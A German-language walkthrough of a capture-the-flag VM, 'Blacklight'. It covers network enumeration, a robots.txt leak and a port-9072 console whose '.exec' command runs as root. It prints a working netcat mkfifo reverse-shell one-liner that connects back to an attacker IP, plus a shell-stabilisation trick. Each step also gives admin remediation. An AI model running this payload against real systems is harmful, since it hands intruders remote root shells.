Analyse: Wir beginnen wieder mit der Identifizierung des Ziels im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Requests, um aktive Geräte und deren IP-/MAC-Adressen zu finden.
Bewertung: Erfolgreich! Wir finden einen Host mit der IP 192.168.2.126. Die MAC-Adresse 08:00:27:73:db:5c gehört zu "PCS Systemtechnik GmbH", was stark auf eine VirtualBox-VM hindeutet. Dies ist unser Ziel für den weiteren Test.
Empfehlung (Pentester): Die IP 192.168.2.126 als Ziel für alle weiteren Scans und Angriffe verwenden.
Empfehlung (Admin): Netzwerk-Inventarisierung pflegen, um bekannte von unbekannten Geräten unterscheiden zu können. Überwachung auf übermäßige ARP-Scan-Aktivitäten.
192.168.2.126 08:00:27:73:db:5c PCS Systemtechnik GmbH
Analyse: Zur Vereinfachung tragen wir die IP-Adresse des Ziels mit dem Hostnamen `black.vln` in unsere lokale `/etc/hosts`-Datei ein. Dies ermöglicht es uns, den Hostnamen anstelle der IP-Adresse in nachfolgenden Befehlen zu verwenden.
Bewertung: Eine reine Komfortmaßnahme für den Pentester, die die Lesbarkeit von Befehlen verbessert und Tippfehler reduziert. Keine direkte Sicherheitsauswirkung auf das Ziel.
Empfehlung (Pentester): Hostnamen in `/etc/hosts` zu definieren ist eine gute Praxis, besonders bei komplexeren Umgebungen.
Empfehlung (Admin): Keine spezifischen Maßnahmen erforderlich, es sei denn, interne Systeme verlassen sich unsicher auf lokale Hostnamenauflösung.
# Inhalt der Datei nach Bearbeitung (relevante Zeile): 192.168.2.126 black.vln
Analyse: Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Ziel zu identifizieren.
-sS
: TCP SYN (Stealth) Scan.-sC
: Standard-Nmap-Skripte ausführen.-sV
: Versucht, die Versionen der laufenden Dienste zu ermitteln.-T5
: Aggressives Timing für schnelleren Scan (riskant in echten Umgebungen).-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute (sehr umfassend).192.168.2.126
: Ziel-IP.-p-
: Scannt alle 65535 TCP-Ports.| grep open
: Filtert die Ausgabe, um nur Zeilen mit offenen Ports anzuzeigen.Bewertung: Der Scan findet zwei offene TCP-Ports:
Empfehlung (Pentester): Den Webserver auf Port 80 untersuchen (Nikto, Gobuster, manuelle Prüfung). Den unbekannten Dienst auf Port 9072 genauer analysieren (z.B. mit `nc`, spezifischeren Nmap-Skripten oder Tools zur Diensterkennung).
Empfehlung (Admin): Überprüfen, welcher Dienst auf Port 9072 läuft und ob dieser notwendig und sicher ist. Falls nicht, den Dienst deaktivieren oder durch die Firewall blockieren. Den Apache-Server auf dem neuesten Stand halten.
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 9072/tcp open unknown
Analyse: Wir verwenden Nikto, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien zu scannen.
Bewertung: Nikto liefert einige nützliche Hinweise:
Empfehlung (Pentester): Die Verzeichnisse `/css/` und `/img/` manuell auf interessante oder ungewöhnliche Dateien prüfen. Die Apache-Version 2.4.29 auf bekannte Exploits untersuchen. Die fehlenden Sicherheitsheader und das ETag-Leak für den Bericht notieren.
Empfehlung (Admin): Apache auf die neueste Version aktualisieren. Fehlende Sicherheitsheader hinzufügen. Verzeichnisauflistung deaktivieren (z.B. `Options -Indexes` in der Apache-Konfiguration). Die `PTINS`-Methode überprüfen und korrigieren. ETag-Konfiguration prüfen, um Informationslecks zu vermeiden (z.B. `FileETag None`).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.126 + Target Hostname: 192.168.2.126 + Target Port: 80 + Start Time: 2023-07-02 23:48:15 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 6df, size: 56e163c2e4a62, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /css/: Directory indexing found. + /css/: This might be interesting. + /img/: Directory indexing found. + /img/: This might be interesting. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-07-02 23:48:28 (GMT2) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Wir nutzen Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Wir verwenden eine umfangreiche Liste von Erweiterungen (`-x`) und eine gängige Wortliste (`directory-list-2.3-medium.txt`). Statuscodes 403 und 404 werden ignoriert (`-b`).
Bewertung: Gobuster findet einige Standardverzeichnisse (`/img`, `/css`, `/js`, `/fonts`) und Dateien (`index.html`, `404.html`), die meist zur Webseitenstruktur gehören. Der wichtigste Fund ist jedoch `/robots.txt`. Diese Datei gibt Suchmaschinen (und Angreifern) Hinweise darauf, welche Bereiche einer Webseite nicht indexiert werden sollen – oft werden dort interessante Pfade versteckt.
Empfehlung (Pentester): Die Datei `/robots.txt` unbedingt abrufen und ihren Inhalt analysieren. Die anderen gefundenen Verzeichnisse (insbesondere `/js`, `/javascript`, `/footer`) ebenfalls manuell oder mit weiteren Scans untersuchen.
Empfehlung (Admin): Sicherstellen, dass die `/robots.txt`-Datei keine sensiblen Pfade oder Dateinamen preisgibt. Sicherheit durch `robots.txt` ist keine echte Sicherheit ("Security through obscurity") – sensible Bereiche müssen anderweitig geschützt werden (z.B. durch Authentifizierung).
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://black.vln [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: ... (siehe Befehl) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/07/02 23:55:10 Starting gobuster in directory enumeration mode =============================================================== http://black.vln/index.html (Status: 200) [Size: 1759] http://black.vln/img (Status: 301) [Size: 304] [--> http://black.vln/img/] http://black.vln/footer (Status: 301) [Size: 307] [--> http://black.vln/footer/] http://black.vln/css (Status: 301) [Size: 304] [--> http://black.vln/css/] http://black.vln/js (Status: 301) [Size: 303] [--> http://black.vln/js/] http://black.vln/javascript (Status: 301) [Size: 311] [--> http://black.vln/javascript/] http://black.vln/404.html (Status: 200) [Size: 425] http://black.vln/robots.txt (Status: 200) [Size: 40] http://black.vln/fonts (Status: 301) [Size: 306] [--> http://black.vln/fonts/] =============================================================== 2023/07/02 23:58:05 Finished ===============================================================
Analyse: Der Pentester untersucht den Quellcode der Startseite (`index.html`). Im Quellcode (oder durch weitere Interaktion mit der Seite) wird offenbar ein weiterer Hostname, `carterbrainerd.me`, entdeckt, der auf dieselbe IP-Adresse zeigt.
Bewertung: Das Finden zusätzlicher Hostnamen (Virtual Hosts) kann wichtig sein, da Webserver Inhalte oft basierend auf dem angefragten Hostnamen ausliefern. Es ist möglich, dass unter `carterbrainerd.me` andere Inhalte oder Anwendungen erreichbar sind als unter `black.vln`.
Empfehlung (Pentester): Den neuen Hostnamen `carterbrainerd.me` ebenfalls zur `/etc/hosts`-Datei hinzufügen. Erneute Web-Enumerations-Scans (Nikto, Gobuster) gezielt gegen diesen neuen Hostnamen durchführen, um zu sehen, ob andere Inhalte oder Schwachstellen auftauchen.
Empfehlung (Admin): Überprüfen, welche Virtual Hosts auf dem Webserver konfiguriert sind und ob diese alle notwendig sind. Sicherstellen, dass jeder Virtual Host korrekt konfiguriert und abgesichert ist.
... Verweis auf 'carterbrainerd.me' gefunden ... # Neuer Eintrag in /etc/hosts hinzugefügt: 192.168.2.126 black.vln carterbrainerd.me
Analyse: Wir rufen die zuvor von Gobuster gefundene Datei `http://black.vln/robots.txt` ab und analysieren ihren Inhalt.
Bewertung: Die `robots.txt` enthält extrem wertvolle Informationen:
Empfehlung (Pentester): Sofort versuchen, die Dateien `http://black.vln/flag1.txt` und `http://black.vln/blacklight.dict` herunterzuladen (z.B. mit `wget` oder im Browser) und deren Inhalt zu analysieren.
Empfehlung (Admin): Niemals Dateinamen von Flags oder potenziellen Passwortlisten in `robots.txt` eintragen! Diese Datei ist öffentlich zugänglich und dient nicht dem Schutz sensibler Informationen.
User-agent: * flag1.txt blacklight.dict
Analyse: Wir rufen die in `robots.txt` gefundene Datei `http://black.vln/flag1.txt` ab.
Bewertung: Erfolg! Die Datei enthält die erste Flag: `fc4c7223964a26b152823d14f129687207e7fe15`. Zusätzlich enthält sie einen wichtigen Hinweis: "9072. The secret is at home.". Dies bezieht sich eindeutig auf den offenen Port 9072, den wir beim Nmap-Scan entdeckt haben, und deutet darauf hin, dass dort der Schlüssel zur weiteren Kompromittierung liegt.
Empfehlung (Pentester): Die Flag notieren. Den Fokus nun auf die Untersuchung des Dienstes auf Port 9072 legen. Die heruntergeladene Datei `blacklight.dict` für spätere Passwort-Cracking-Versuche aufbewahren (falls benötigt).
Empfehlung (Admin): Flags oder sensible Hinweise dürfen nicht in öffentlich zugänglichen Textdateien auf dem Webserver gespeichert werden.
{flag1:fc4c7223964a26b152823d14f129687207e7fe15}
9072. The secret is at home.
Analyse: Die Datei `blacklight.dict` wurde (implizit) heruntergeladen. Es handelt sich um eine Wörterbuchdatei, die wahrscheinlich für das Knacken von Passwörtern oder Hashes relevant ist.
Bewertung: Der Besitz dieser spezifischen Wörterbuchdatei ist wichtig, da sie möglicherweise maßgeschneiderte Passwörter für dieses System enthält, die in Standardlisten wie `rockyou.txt` fehlen könnten.
Empfehlung (Pentester): Die Datei `blacklight.dict` aufbewahren und für zukünftige Brute-Force- oder Hash-Cracking-Versuche verwenden, falls Passwörter oder Hashes gefunden werden.
Empfehlung (Admin): Passwortlisten oder Wörterbücher sollten nicht auf einem öffentlich zugänglichen Webserver gespeichert werden.
Analyse: Basierend auf dem Hinweis aus `flag1.txt` verbinden wir uns mit Netcat (`nc`) zum Dienst auf Port 9072 des Zielsystems.
Bewertung: Wir erhalten eine Antwort! Es meldet sich eine "BLACKLIGHT console mk1". Mit dem Befehl `.help` erhalten wir eine Liste der verfügbaren Befehle:
Empfehlung (Pentester): Die Befehle `.readhash` und `.exec` testen. Herausfinden, mit welchen Rechten die `.exec`-Befehle ausgeführt werden.
Empfehlung (Admin): Benutzerdefinierte Dienste wie dieser sind oft eine Quelle von Schwachstellen, wenn sie nicht sorgfältig entwickelt und getestet werden. Den Dienst auf Port 9072 untersuchen, absichern (Authentifizierung, Input-Validierung, minimale Rechte) oder entfernen, falls er nicht notwendig ist.
BLACKLIGHT console mk1. Type .help for instructions .help .readhash - Get one step closer .exec cmd - Execute commands .quit - Exit the server
Analyse: Wir verbinden uns erneut mit `nc` und versuchen, den Befehl `id` über `.exec` auszuführen: `.exec id`.
Bewertung: Der Dienst antwortet mit "You have one more command until the server shuts down. Choose wisely!". Dies zeigt zwei Dinge: 1. Der `.exec`-Befehl funktioniert prinzipiell. 2. Es gibt eine starke Einschränkung: Nur zwei Befehle pro Verbindung sind erlaubt (der erste war `.exec id`, der zweite fehlt hier, aber die Meldung impliziert das Limit). Diese Limitierung erschwert die interaktive Erkundung erheblich.
Empfehlung (Pentester): Eine Strategie entwickeln, um die Limitierung zu umgehen oder die wichtigsten Informationen/Aktionen in zwei Befehlen unterzubringen. Optionen:
BLACKLIGHT console mk1. Type .help for instructions .exec id You have one more command until the server shuts down. Choose wisely! # (Verbindung vermutlich hier beendet oder weiterer Befehl führt zum Abbruch)
Analyse: Wir verbinden uns erneut und versuchen nun, zuerst `.exec id` und dann `.readhash` auszuführen.
Bewertung: `.exec id` liefert wieder die "one more command"-Warnung. `.readhash` wird jedoch ausgeführt und liefert einen langen Hash-String: `b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6`. Danach wird die Verbindung mit "Bye!" beendet, was die Zwei-Befehle-Limitierung bestätigt. Wir haben nun einen wichtigen Hash erhalten.
Empfehlung (Pentester): Den extrahierten Hash mit Tools wie `hash-identifier` analysieren, um den Hash-Typ zu bestimmen. Anschließend versuchen, den Hash offline zu knacken, idealerweise mit der zuvor gefundenen Wörterbuchdatei `blacklight.dict` und Tools wie `hashcat` oder `john`. Da wir aber auch `.exec` haben, ist der direktere Weg über eine Reverse Shell wahrscheinlich effizienter.
Empfehlung (Admin): Keine Hashes über unsichere, unauthentifizierte Dienste preisgeben. Den Dienst absichern oder entfernen.
BLACKLIGHT console mk1. Type .help for instructions
.exec id
You have one more command until the server shuts down. Choose wisely!
.readhash
b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6
Bye!
Analyse: Wir verwenden `hash-identifier`, um den Typ des extrahierten Hashes zu bestimmen.
Bewertung: `hash-identifier` identifiziert den Hash am wahrscheinlichsten als SHA-256 oder Haval-256. SHA-256 ist heutzutage weitaus gebräuchlicher.
Empfehlung (Pentester): Falls das Knacken des Hashes verfolgt wird: Tools wie `hashcat` mit dem Modus für SHA-256 (z.B. `-m 1400`) und der `blacklight.dict`-Liste verwenden. Der direktere Weg über `.exec` bleibt jedoch attraktiv.
Empfehlung (Admin): Sicherstellen, dass Passwörter immer mit modernen, starken Hashing-Algorithmen und Salt gespeichert werden.
######################################################################### # __ __ __ __ Identificador de Hash # # / / / /___ ____ ___ ___ / /__ ____ / /_ # # / /_/ / __ \/ __ `__ \/ _ \/ __/ / __ \/ __/ # # / __ / /_/ / / / / / / __/ /___/ / / / /_ # # /_/ /_/\____/_/ /_/ /_/\___/\____/_/ /_/\__/ # # # # By Zion3R #www.blackploit.com # # Update by # # ToolsBox #www.toolsbox.online.com # ######################################################################### Possible Hashs: [+] SHA-256 [+] Haval-256 Least Possible Hashs: [+] GOST R 34.11-94 [+] RipeMD-256 [+] SNEFRU-256 [+] SHA-256(HMAC) [+] Haval-256(HMAC) [+] RipeMD-256(HMAC) [+] SNEFRU-256(HMAC) [+] SHA-256(md5($pass)) [+] SHA-256(sha1($pass))
Analyse: Da wir wissen, dass `.exec` funktioniert und wir nur einen "echten" Befehl nach `.exec` haben, bevor die Verbindung schließt, entscheiden wir uns, eine Reverse Shell mit einem einzigen komplexen Befehl zu starten. Wir verbinden uns erneut mit `nc 192.168.2.126 9072`. Als Befehl verwenden wir: `.exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.125 9001 >/tmp/f` Dies ist der klassische Netcat-Reverse-Shell-Payload, der eine interaktive Shell (`/bin/sh -i`) startet und deren Ein- und Ausgabe über Netcat an unseren Angreifer-PC (192.168.2.125) auf Port 9001 umleitet. (Hinweis: Die Angreifer-IP hat sich von .137 auf .125 geändert, dies muss konsistent sein).
Bewertung: Dies ist der entscheidende Schritt für den Zugriff und die Rechteausweitung. Indem wir den gesamten Reverse-Shell-Befehl als Argument für `.exec` übergeben, nutzen wir die erlaubte Befehlsausführung, um eine dauerhafte interaktive Verbindung außerhalb der Zwei-Befehle-Limitierung aufzubauen.
Empfehlung (Pentester): Parallel zu diesem Befehl einen Netcat-Listener auf dem Angreifer-PC (192.168.2.125) auf Port 9001 starten (`nc -lvnp 9001`), um die eingehende Verbindung aufzufangen.
Empfehlung (Admin): Die Befehlsausführung über den Netzwerkdienst auf Port 9072 ist die kritische Schwachstelle. Sie muss entfernt werden. Input-Sanitisierung und das Ausführen von Diensten mit minimalen Rechten sind essentiell.
BLACKLIGHT console mk1. Type .help for instructions .exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.125 9001 >/tmp/f # (Keine direkte Ausgabe vom .exec Befehl, aber Payload wird ausgeführt)
Analyse: Auf unserem Angreifer-PC (192.168.2.125) starten wir einen Netcat-Listener auf Port 9001 mit `nc -lvnp 9001`.
-l
: Listen-Modus.-v
: Verbose-Modus (mehr Ausgaben).-n
: Numerische IP-Adressen verwenden (kein DNS).-p 9001
: Der Port, auf dem gelauscht wird.Bewertung: Exzellent! Die Reverse Shell war erfolgreich. Wir erhalten einen Shell-Prompt (`#`), was oft auf Root-Rechte hindeutet. Die Meldung `/bin/sh: 0: can't access tty; job control turned off` ist typisch für einfache Reverse Shells, die keine vollwertige Terminal-Emulation haben.
Empfehlung (Pentester): Sofort die Rechte mit `id` überprüfen. Die Shell stabilisieren (z.B. mit Python PTY Trick: `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`), falls nötig. Mit der Erkundung als Root beginnen.
Empfehlung (Admin): Ausgehende Verbindungen vom Server auf ungewöhnliche Ports wie 9001 blockieren oder überwachen. Host-basierte Erkennungssysteme können Netcat-Reverse-Shell-Muster erkennen.
listening on [any] 9001 ... connect to [192.168.2.125] from (UNKNOWN) [192.168.2.126] 46616 /bin/sh: 0: can't access tty; job control turned off #
Analyse: Wir führen in der erhaltenen Reverse Shell den Befehl `id` aus, um unsere Benutzer- und Gruppen-IDs zu überprüfen.
Bewertung: Volltreffer! Die Ausgabe `uid=0(root) gid=0(root) groups=0(root)` bestätigt, dass der Dienst auf Port 9072 und somit unser `.exec`-Befehl direkt mit Root-Rechten ausgeführt wurde. Wir haben sofortigen Root-Zugriff erlangt, ohne einen separaten Privilege-Escalation-Schritt nach dem initialen Zugriff.
Empfehlung (Pentester): Das System als Root erkunden. Die Root-Flag suchen und auslesen. Verstehen, warum der Dienst auf Port 9072 als Root lief.
Empfehlung (Admin): Kritische Schwachstelle! Der Dienst auf Port 9072 darf **niemals** als Root laufen. Er sollte entweder entfernt oder mit einem dedizierten Benutzer mit minimalen Rechten ausgeführt werden.
# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Wir führen `ls -la` aus, um den Inhalt des aktuellen Verzeichnisses aufzulisten und `pwd`, um das aktuelle Verzeichnis zu ermitteln.
Bewertung: `pwd` zeigt `/root`. Wir befinden uns im Home-Verzeichnis des Root-Benutzers. `ls -la` listet den Inhalt auf, der Standard-Konfigurationsdateien und ein `.ssh`-Verzeichnis enthält. Die Root-Flag (`root.txt`) ist hier nicht direkt sichtbar, könnte aber in einem Unterverzeichnis liegen oder einen anderen Namen haben.
Empfehlung (Pentester): Nach der Root-Flag suchen. Da `flag1.txt` bereits eine Flag enthielt, könnte diese auch die Root-Flag sein, oder es gibt eine separate `root.txt`. Das gesamte `/root`-Verzeichnis durchsuchen.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien im `/root`-Verzeichnis liegen. SSH-Zugriff für Root über Passwort deaktivieren (`PermitRootLogin prohibit-password` oder `PermitRootLogin no` in `sshd_config`).
# ls -la total 36 drwx------ 4 root root 4096 Jun 7 2018 . drwxr-xr-x 23 root root 4096 Jun 7 2018 .. -rw------- 1 root root 5188 Jun 8 2018 .bash_history -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwxr-xr-x 3 root root 4096 Jun 7 2018 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 66 Jun 7 2018 .selected_editor drwx------ 2 root root 4096 Jun 7 2018 .ssh # pwd /root #
Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.
Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde durch die Ausnutzung des Dienstes auf Port 9072 erreicht.
Empfehlung (Pentester): Flag(s) auslesen.
Empfehlung (Admin): Den unsicheren Dienst auf Port 9072 entfernen oder absichern.
#
wir sind root - Privilege Escalation erfolgreich
Analyse: Mit Root-Rechten lesen wir die Flag aus. Der bereitgestellte Text zeigt den Inhalt von `root.txt` als identisch mit dem zuvor in `flag1.txt` gefundenen Wert.
Bewertung: Die Flag wurde erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen.
Empfehlung (Pentester): Die Flag im Bericht dokumentieren.
Empfehlung (Admin): Die Schwachstellen beheben, die zum Erlangen der Flag geführt haben (unsicherer Dienst auf Port 9072, Informationslecks über `robots.txt` und Webdateien).